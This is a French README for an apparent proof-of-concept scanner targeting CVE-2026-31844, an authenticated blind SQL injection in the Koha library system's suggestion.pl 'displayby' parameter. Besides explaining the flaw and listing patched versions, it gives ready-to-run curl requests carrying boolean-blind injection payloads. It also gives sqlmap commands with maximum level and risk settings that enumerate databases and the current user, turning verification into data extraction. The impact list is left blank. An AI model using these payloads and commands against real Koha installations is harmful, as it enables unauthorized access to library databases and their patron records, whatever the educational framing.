
# Analyseur d'injection SQL authentifié pour Koha Library Management System (CVE-2026-31844) utilisant la technique aveugle basée sur les booléens pour vérifier la vulnérabilité et extraire des données.
Ce dépôt contient une preuve de concept (PoC) de vulnérabilité responsable pour CVE-2026-31844, une injection SQL authentifiée de haute sévérité dans le système de gestion de bibliothèque Koha.
La vulnérabilité existe dans la fonction GetDistinctValues du fichier C4/Search.pm, qui est appelée par le script /cgi-bin/koha/suggestion/suggestion.pl. Elle peut être exploitée via le paramètre displayby.
Le paramètre displayby du script suggestion.pl est utilisé pour construire un nom de colonne qualifié par table, qui est ensuite transmis à la fonction GetDistinctValues. Cependant, cette fonction intègre directement le nom de la table et le nom de la colonne dans une requête SQL brute sans effectuer de validation des entrées ni de paramétrage.
Par conséquent, un attaquant peut manipuler le paramètre displayby pour injecter du code SQL malveillant dans la requête. Étant donné que l'entrée n'est pas assainie avant d'être incluse dans l'instruction SQL, ce comportement introduit une vulnérabilité d'injection SQL qui peut permettre à un attaquant d'exécuter des commandes SQL arbitraires sur la base de données en utilisant la technique Boolean-Based Blind (aveugle basée sur les booléens).
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
Le scanner utilise une technique Boolean-Based Blind pour vérifier la vulnérabilité
En injectant des instructions conditionnelles dans la position du nom de colonne, nous pouvons observer des réponses HTTP différentielles :
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Erreur de sous-requête → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Requête valide → HTTP 200Si la cible renvoie un 500 pour la condition vraie et un 200 pour la condition fausse, la vulnérabilité est confirmée.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
Vous devez fournir des identifiants valides pour un compte personnel Koha avec la permission suggestions.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
Pour les cibles avec des certificats SSL auto-signés :
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
Vous pouvez vérifier manuellement la vulnérabilité via curl. Tout d'abord, authentifiez-vous à l'interface personnelle Koha et capturez votre cookie CGISESSID.
Condition vraie (renvoie HTTP 500) :
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
Condition fausse (renvoie HTTP 200) :
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap prend en charge nativement l'injection aveugle basée sur les booléens. Pour automatiser l'extraction de données, enregistrez une requête HTTP authentifiée valide dans request.txt. Conservez les cookies csrf_token et CGISESSID valides.
Exemple de request.txt :
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Exécutez SQLMap avec la technique booléenne (--technique=B) :
# Extraction de base de données
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Extraire l'utilisateur courant
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
Ou exécutez-le directement depuis la ligne de commande :
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
Après un certain temps, sqlmap identifiera la charge utile correcte.
Si elle n'est pas corrigée, cette vulnérabilité permet à un attaquant authentifié de :
Mettez à jour Koha vers la version 24.11.12, 25.05.07, 25.11.01 ou 26.05.00 (ou ultérieure) qui inclut un correctif pour cette vulnérabilité.
Raximov Shukrulloh (Mothra)
Bot Telegram @MothraContact_bot
Cette preuve de concept est fournie à des fins éducatives et défensives uniquement. Obtenez toujours une autorisation appropriée avant de tester un système pour détecter des vulnérabilités.
L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Cette preuve de concept ne doit être utilisée que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.